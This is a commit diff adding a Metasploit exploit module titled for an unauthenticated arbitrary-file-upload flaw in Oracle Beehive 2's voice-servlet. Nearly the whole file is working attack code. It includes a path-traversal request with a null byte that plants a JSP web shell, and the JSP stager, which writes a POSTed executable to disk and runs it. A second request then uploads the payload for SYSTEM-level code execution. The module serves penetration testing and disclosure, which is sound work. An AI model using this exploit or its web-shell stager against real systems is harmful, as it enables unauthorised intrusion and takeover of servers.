Land #6223, @wchen-r7's module for Oracle Beehive prepareAudioToPlay exploit

modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb

@@ -0,0 +1,150 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload",
+      'Description'    => %q{
+        This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method
+        found in voice-servlet can be abused to write a malicious file onto the target machine, and
+        gain remote arbitrary code execution under the context of SYSTEM. Authentication is not
+        required to exploit this vulnerability.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC
+          'sinn3r'                                  # MSF module
+        ],
+      'References'     =>
+        [
+          [ 'ZDI', '15-550'],
+          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ]
+        ],
+      'DefaultOptions'  =>
+        {
+          'RPORT'    => 7777
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Oracle Beehive 2', {}]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => "Nov 10 2015",
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/'])
+      ], self.class)
+  end
+
+
+  def check
+    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/'))
+
+    if res.nil?
+      vprint_error("Connection timed out.")
+      return Exploit::CheckCode::Unknown
+    elsif res && (res.code == 403 || res.code == 200)
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+
+  def exploit
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet')
+    end
+
+    # Init some names
+    # We will upload to:
+    # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\
+    exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe"
+    stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp"
+    print_status("Stager name is: #{stager_name}")
+    print_status("Executable name is: #{exe_name}")
+    register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}")
+
+    # Ok fire!
+    print_status("Uploading stager...")
+    res = upload_stager(stager_name, exe_name)
+
+    # Hmm if we fail to upload the stager, no point to continue.
+    unless res
+      fail_with(Failure::Unknown, 'Connection timed out.')
+    end
+
+    print_status("Uploading payload...")
+    upload_payload(stager_name)
+  end
+
+  # Our stager is basically a backdoor that allows us to upload an executable with a POST request.
+  def get_jsp_stager(exe_name)
+    jsp = %Q|<%@ page import="java.io.*" %>
+<%
+  ByteArrayOutputStream buf = new ByteArrayOutputStream();
+  BufferedReader reader = request.getReader();
+  int tmp;
+  while ((tmp = reader.read()) != -1) { buf.write(tmp); }
+  FileOutputStream fostream = new FileOutputStream("#{exe_name}");
+  buf.writeTo(fostream);
+  fostream.close();
+  Runtime.getRuntime().exec("#{exe_name}");
+%>|
+
+    # Since we're sending it as a GET request, we want to keep it smaller so
+    # we gsub stuff we don't want.
+    jsp.gsub!("\n", '')
+    jsp.gsub!('  ', ' ')
+    Rex::Text.uri_encode(jsp)
+  end
+
+
+  def upload_stager(stager_name, exe_name)
+    # wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug)
+
+    jsp_stager = get_jsp_stager(exe_name)
+    uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp')
+    send_request_cgi({
+      'method'        => 'POST',
+      'uri'           => uri,
+      'encode_params' => false, # Don't encode %00 for us
+      'vars_post'    => {
+        'sess'       => "..\\#{stager_name}%00",
+        'recxml'     => jsp_stager,
+        'audiopath'  => Rex::Text.rand_text_alpha(1),
+        'wavfile'    => "#{Rex::Text.rand_text_alpha(5)}.wav",
+        'evaluation' => Rex::Text.rand_text_alpha(1)
+      }
+    })
+  end
+
+  def upload_payload(stager_name)
+    uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name)
+    send_request_cgi({
+      'method' => 'POST',
+      'uri'    => uri,
+      'data'   => generate_payload_exe(code: payload.encoded)
+    })
+  end
+
+  def print_status(msg)
+    super("#{rhost}:#{rport} - #{msg}")
+  end
+
+end